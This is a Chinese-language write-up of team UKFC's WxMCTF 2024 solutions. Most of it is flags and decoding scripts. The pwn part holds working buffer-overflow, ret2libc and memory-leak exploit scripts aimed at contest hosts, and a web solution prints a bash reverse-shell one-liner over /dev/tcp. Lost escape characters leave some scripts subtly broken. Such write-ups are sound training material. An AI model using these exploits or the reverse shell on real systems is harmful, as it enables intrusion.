介绍:Spanning from March 8th at 19:00 EST to March 10th at 19:00 EST, we are excited to announce that X Series CTF is hosting our 2nd WxMCTF cybersecurity competition with $23000 in prizes!
本次比赛,UKFC排名27。
比赛难度偏新手,web难度最高。re和pwn本队在一天(或者可以说半天内各做了四道),环境似乎是有些问题。在这个比赛中,老手可以打出自信,新手可以用来练手,但似乎对顶级师傅没有什么提升┑( ̄Д  ̄)┍,由于权重占比不高,主要是用来练习用。
下面是WP部分。
签到
The flag is CTF{s4n1ty_ch3ck}
Misc
Welcome to WxMCTF!
查看ppt,得到flag
wxmctf{g0od_l^c3_3ve*y0n!}
Arrgh
直接解压apk,发现flag.png
wxmctf{4ndr01d_4n4lys1s}
firstgrep
解压文件,利用everything把所有txt文件放在同一个目录下
python遍历目录,输出所有文件内容
import os
folder_path = "./firstgrep"
# 遍历文件夹下所有文件
for root, dirs, files in os.walk(folder_path):
for file_name in files:
if(file_name == 'cal.py'):
continue
file_path = os.path.join(root, file_name)
with open(file_path, 'r') as file:
content = file.read()
print(file_name,"t",content)
查看输出得到flag:
DLCTU6.txt wxmctf{Wha7_W0uLD_w3_6e_w17HouT_Gr3P}
另:使用 TextSeek 软件直接找到正确 flag
Forensics
諸葛亮
二进制ascii转字符得到flag
with open('./answer.txt', 'r') as f:
bread = f.read()
for i in bread.split(" "):
tr=int(i, 2)
print(chr(tr),end=" ")
#wxmctf{Eightfold Battle Formation}
REV
Binary Conspicuous Digits
就是二进制转成ascii
wxmctf{B1nary_R3v3rs1ng_4t_1ts_F1n3st}
WxMCTF ’24 Rev 2 – Songsilk
使用godotpcktool工具解压pck文件得到flag.png.ctex文件,将该文件放入gobot引擎内,自动解压还原得到flag.png图片
Notepad++ Development
给了一个010dump出来的文本,elf,写脚本恢复文件
# 读取包含文件数据的十六进制文件
with open('C:\Users\lenovo\Desktop\_ctf_poem\wmctf\2024\checker.txt', 'r') as file:
hex_data = file.read()
i=0
# 提取中间的数据部分
start_index = hex_data.find(' ')+2
end_index = hex_data.find('|')
print(start_index)
print(end_index)
while(1):
data = hex_data[start_index:end_index]
# 去除空格和换行符
data = data.replace(' ', '').replace('n', '')
# 保留有效的十六进制字符
valid_chars = set('0123456789abcdef')
data = ''.join(c for c in data if c in valid_chars)
# 将十六进制数据转换为二进制数据
binary_data = bytes.fromhex(data)
# 将二进制数据写入新文件
with open('C:\Users\lenovo\Desktop\_ctf_poem\wmctf\2024\123.txt', 'ab+') as file:
file.write(binary_data)
stt="000038c0 9b 30 00 00 00 00 00 00 0a 01 00 00 00 00 00 00 |.0..............|"
start_index+=len(stt)+1
end_index+=len(stt)+1
i+=1
if i>=0x38e8:
break
print("数据恢复完成。")
ida打开,简单取反
wxmctf{G0d_D4mm1t_T1mmy}
Recursive Combinatorics
逆向关键逻辑,化简一下:
from hashlib import sha512
def acid(s):
return sha512(s.encode('utf-8')).hexdigest()
def rock(a, n):
return a**n
def paper(n):
x = n**n
return {i: [0, 2**i, 2*(2**i), 3*(2**i)] for i in range(x)}
def scissors(n, a, x):#进制转换
if n == 0:
return [0]*x
ls = [int(n%a)] + [int(n%a) for _ in range(n) if (n := n // a)]
ls += [0]*(x-len(ls))
return ls
def go(n):
final, lib, x = 0, paper(n), n**n
for i in range(2**(x+1)):
ls = scissors(i, 4, x)
tot = sum( [lib[j][ls[j]] for j in range(x)] )
final += int(tot == n)
return final
HASH = "87bd6b7109f0e4fddc549076c983ef165191a655d0e53848e18ea55574b8344456478b6e7b19fa26ecc3ddf017b29d1b63da94c7002a508429e156b9ccfed611"
number = int(input("Enter your number: "))
#aaaa=6864797660130609714981900799081393217269435300143305409394463459185543183397656052122559640661454554977296311391480858037121987999716643812574027791115057150
#print(acid(str(aaaa)))
print(go(number))
if (acid(str(number)) != HASH):
print("Incorrect number! SHA hashes do not match")
else:
print("Congratulations! That is the correct number!")
go函数返回n在循环中出现的次数(tot),scissors返回一个将n用四进制按位存储的列表,tot为该列表每一位乘以2^n(加权)的和。由于四进制表示,2^n的系数仅能取到3。
打印了一下tot的列表:
0,1,2,3,2,3,4,5,4,5,6,7,6,7,8,9,4,5,6,7,6,7,8,9,8,9,10,11,10,11,12,13,8,9,10,11,10,11,12,13,12,13,14,15,14,15,16,17,12,13,14,15,14,15,16,17,16,17,18,19,18,19,20,21,8,9,10,11,10,11,12,13,12,13,14,15,14,15,16,17,12,13,14,15,14,15,16,17,16,17,18,19,18,19,20,21,16,17,18,19,18,19,20,21,20,21,22,23,22,23,24,25,20,21,22,23,22,23,24,25,24,25,26,27,26,27,28,29,16,17,18,19,18,19,20,21,20,21,22,23,22,23,24,25,20,21,22,23,22,23,24,25,24,25,26,27,26,27,28,29,24,25,26,27,26,27,28,29,28,29,30,31,30,31,32,33,28,29,30,31,30,31,32,33,32,33,34,35,34,35,36,37,24,25,26,27,26,27,28,29,28,29,30,31,30,31,32,33,28,29,30,31,30,31,32,33,32,33,34,35,34,35,36,37,32,33,34,35,34,35,36,37,36,37,38,39,38,39,40,41,36,37,38,39,38,39,40,41,40,41,42,43,42,43,44,45,16,17,18,19,18,19,20,21,20,21,22,23,22,23,24,25,20,21,22,23,22,23,24,25,24,25,26,27,26,27,28,29,24,25,26,27
可以看到存在重复,那么问题就抽象成对于10^12,能够按上述四进制加权表示的数有多少个。
上述的四进制加权表示,由于权重与二进制表示相同,每位数的上限不超过3,故可以看成两个二进制数相加和
所以问题转化成:对于10^12,有几种方法将其拆分成两个非负整数相加?
简单求得为5*10^11+1
百度一下157位梅森素数,异或hash一下得到url后八位
wxmctf{st4ck_0v3rf10w_m0m3nt_gl_1n_r3v_5}
PWN
Moodle
GDB解决
wxmctf{m00dl3_m45t3rm1nd!!!}
TEJ3M
直接返回到后门函数即可,打个ret2txt
from tokenize import blank_re
from pwn import *
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
ifremote=1
if ifremote==1:
io=remote('fac9795.678470.xyz ',30170)
else:
io=process('/home/kali/Downloads/assgn1_2o3BvZ6')
elf = ELF('/home/kali/Downloads/assgn1_2o3BvZ6')
backdoor_addr=0x8049216
payload=b'a'*0x28+p32(backdoor_addr)
io.recvuntil(b'info: n')
io.sendline(payload)
io.interactive()
nah id win
有一个检测,第一个返回栈帧不让放开头0x8f(也就是f7那些libc地址),其次开头泄露给了printf,那就直接第一个栈帧布置个ret之类的延后rop,后面正常返回到systembinsh即可
from tokenize import blank_re
from pwn import *
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
ifremote=1
if ifremote==1:
io=remote('5d11994.678470.xyz',31124)
else:
io=process('/home/kali/Downloads/vuln')
elf = ELF('/home/kali/Downloads/vuln')
libc=ELF('/home/kali/Downloads/libc.so.6')
#gdb.attach(io)
io.recvuntil(b'0x')
printf_addr=int(io.recvuntil(b'n'),16)
print('printf_addr==========>',hex(printf_addr))
base_addr=printf_addr-libc.symbols['printf']
system_addr=base_addr+libc.symbols['system']
gets_addr=base_addr+libc.symbols['gets']
binsh_offset=0x01BD0D5
binsh_addr=base_addr+binsh_offset
print('system_addr=========>',hex(system_addr))
print('binsh_addr=========>',hex(binsh_addr))
payload=b'a'*(0x28+4)+p32(0x08049127)+p32(system_addr)+p32(0)+p32(binsh_addr)
pause()
#io.recvuntil(b'n')
io.sendline(payload)
io.interactive()
leakleakleak
允许堆块上面的多次泄露,甚至可以泄露某个地址上的值,这样就很容易了,那么就形成一个泄露的链子,也就是先泄露堆块地址,再泄露堆上的libc地址,再泄露libc里面的environ也就是stack,再用stack泄露返回地址pie,最后再用pie泄露flag即可。
from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
io = process('./pwn')
io = remote('5.161.99.196',32450)
elf = ELF('./pwn')
def dbg():
gdb.attach(io)
pause()
def continueio():
io.recvuntil(b'Continue? (Y/n)')
io.sendline(b'Y')
io.sendafter(b'name?',cyclic(0x21))
io.recvuntil(b'aaai')
heap_leak_addr = u64((io.recv(5).rjust(6,b'x00')).ljust(8,b'x00'))
print(hex(heap_leak_addr))
continueio()
heap_needleak_addr = heap_leak_addr + (0x718 - 0x600)
print(hex(heap_needleak_addr))
payload1 = b'a' * 0x20 + p64(heap_needleak_addr)
io.sendafter(b'name?',payload1)
io.recvuntil(b'a'*0x20)
libc_leak = u64(io.recv(6).ljust(8,b'x00'))
print(hex(libc_leak))
pause()
io.recvuntil(b':3n')
libc_leaked = u64(io.recv(6).ljust(8,b'x00'))
print(hex(libc_leaked))
environ_addr = libc_leaked - (0x7fbea1be3380 - 0x7fbea1bea200)
print(hex(environ_addr))
payload2 = b'a' * 0x20 + p64(environ_addr)
io.sendafter(b'name?',payload2)
io.recvuntil(b':3n')
stack_leaked = u64(io.recv(6).ljust(8,b'x00'))
print(hex(stack_leaked))
continueio()
main_leaked = stack_leaked + (0x7ffd2135d480 - 0x7ffd2135d5f8)
print(hex(main_leaked))
payload3 = b'a' * 0x20 + p64(main_leaked)
io.sendafter(b'name?',payload3)
io.recvuntil(b':3n')
pie_off = u64(io.recv(6).ljust(8,b'x00')) - 0x137E
print(hex(pie_off))
flag_addr = (0x55c91dcf20c0 - 0x55c91dcee000) + pie_off
print(hex(flag_addr))
payload4 = b'a' * 0x20 + p64(flag_addr)
io.sendafter(b'name?',payload4)
io.interactive()
Crypto
Detective Pikachu!
-
首先whitespace隐写
https://vii5ard.github.io/whitespace/
-
然后pikalang
https://github.com/groteworld/pikalang
import pikalang
sourcecode = """
pi pi pi pi pi pi pi pi pi pi pika pipi pi pipi pi pi pi pipi pi pi pi pi pi pi pi pipi pi pi pi pi pi pi pi pi pi pi pichu pichu pichu pichu ka chu pipi pipi pipi pipi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pikachu pi pikachu ka ka ka ka ka ka ka ka ka ka ka pikachu ka ka ka ka ka ka ka ka ka ka pikachu pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pikachu ka ka ka ka ka ka ka ka ka ka ka ka ka ka pikachu pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pikachu ka ka ka ka ka ka ka ka ka ka ka pikachu ka ka ka ka ka ka ka pikachu pi pi pikachu ka ka ka ka ka ka ka ka ka ka pikachu ka ka pikachu pi pi pi pi pikachu pi pi pi pi pi pikachu ka ka ka pikachu pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pikachu pi pi pikachu pi pi pi pi pikachu pichu pichu pichu pikachupi pi pi pi pi pi pi pi pi pi pika pipi pi pipi pi pi pi pipi pi pi pi pi pi pi pi pipi pi pi pi pi pi pi pi pi pi pi pichu pichu pichu pichu ka chu pipi pipi pipi pipi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pikachu pi pikachu ka ka ka ka ka ka ka ka ka ka ka pikachu ka ka ka ka ka ka ka ka ka ka pikachu pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pikachu ka ka ka ka ka ka ka ka ka ka ka ka ka ka pikachu pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pikachu ka ka ka ka ka ka ka ka ka ka ka pikachu ka ka ka ka ka ka ka pikachu pi pi pikachu ka ka ka ka ka ka ka ka ka ka pikachu ka ka pikachu pi pi pi pi pikachu pi pi pi pi pi pikachu ka ka ka pikachu pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pikachu pi pi pikachu pi pi pi pi pikachu pichu pichu pichu pikachu
"""
# or use sourcecode = pikalang.load_source("FILENAME.pokeball") to load from file
pikalang.evaluate(sourcecode)
wxmctf{pika_chewy}
Web
Mr. P
查看源代码
<head> <link rel="stylesheet" href="styles.css"></head><body> Welcome to my John Cena fan page!!
<img src="john1.webp" style="max-height: 400px;"> <div id="secret"> wxmctf{4nd_h1s_n4me_1s!!!!!!!}
</div></body>
Compiler
os.system(‘bash -c “bash -i >& /dev/tcp/0.0.0.0/0 0>&1″‘) 反弹shell
cat Dockerfile得到flag
wxmctf{ok4Y_M4y8e_I_5K1mpED_@_bit}
原文始发于微信公众号(UKFC安全):UKFC2024 WXMCTF WP及赛后锐评